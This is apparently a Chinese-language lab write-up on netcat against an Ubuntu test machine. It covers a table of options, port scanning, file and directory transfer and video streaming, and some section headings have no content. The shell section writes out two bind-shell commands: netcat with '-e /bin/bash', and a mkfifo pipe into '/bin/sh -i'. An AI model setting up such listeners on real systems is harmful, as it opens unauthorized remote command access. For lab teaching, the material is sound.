一.实验环境: 主机:Mac
目标机:ubuntu IP:172.16.66.134
二.实验要求
1.反弹shell
2.端口扫描
3.查看文件系统
4.文件传输
5.文本传输
6.用户创建
7.传输目录
8.流媒体服务
- Netcat参数介绍
-g<网关>:设置路由器跃程通信网关,最多设置8个;
-G<指向器数目>:设置来源路由指向器,其数值为4的倍数;
-h:在线帮助;
-i<延迟秒数>:设置时间间隔,以便传送信息及扫描通信端口;
-l:使用监听模式,监控传入的资料;
-n:直接使用ip地址,而不通过域名服务器;
-o<输出文件>:指定文件名,往来传输的数据以16进制字码倾倒成该文件保存;
-p<通信端口>:设置本地主机使用的通信端口;
-r:指定源端口和目的端口都进行随机的选择;
-s<来源位址>:设置本地主机送出数据包的IP地址;
-u:使用UDP传输协议;
-v:显示指令执行过程;
-w<超时秒数>:设置等待连线的时间;
-z:使用0输入/输出模式,只在扫描通信端口时使用。
- 实验内容
1.端口扫描
-z 使用0输入/输出模式,只在扫描通信端口时使用。
-v 显示指令执行过程。
-n 参数翻译过来就是只接收 ip 地址,没有 dns。之所以使用 n 参数,是因为使用命令的过程中只去传入 ip,减少了 nc 把域名解析为 ip 的过程,这样可以节省时间提高效率。
2.传输文本
3.正向反弹shell
方法一:支持命令行支持-e
Linux上输入:nc -lvvp 7777 -e /bin/bash
Mac上输入:nc IP地址7777
方法二:
Linux上输入:mkfifo /tmp/tmp_fifo
然后cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 1567 > /tmp/tmp_fifo
这里利用到管道命令,从网络收到的输入写到fifo文件中,cat 命令读取fifo文件并且其内容发送给sh命令,sh命令进程受到输入并把它写回到netcat。netcat 通过网络发送输出到client。
4.传输文件
先介绍文件重定向
< //标准输入重定向
> //标准输出重定向 清空原先的内容后添加新的内容
>> //标准输出重定向 在原来内容换行下方添加新的内容
这里接收的文件的机子,要su root进入root环境下,不然用sudo还是会没有权限接收。
作为文件传输和目录这些功能,其实和文本信息传输类似,只不过是把文本信息换成了文件和目录。首先用一台机器监听一个端口,如果有人连接并传来信息时,则将信息使用 > 重定向到文件。另一台机器连接目标指定端口然后通过 < 输出要传送的文件即可。
5..创建用户
6.传输目录(传输多个文件)
Mac上必须切换到相应的目录上去,并且压缩成—,利用管道命令。
Ubuntu接收文件并且解压,经过我的测试管道后面最后必须是 - ,不能是其余自定义的文件名。
7.流媒体服务
直播的功能就类似于流媒体,就是对方把视频通过流的方式进行传输,传输多少,对方就会实时的播放多少。
首先,需要在要传送文件的机器上把文件通过管道给 nc,然后监听一个端口。在接收端,连接此端口然后通过管道给 mplayer 进行实时播放,mplayer 默认 linux 不安装,需要手动安装。其中 vo 参数是选择驱动程序,cache 是每秒要接收的播放帧。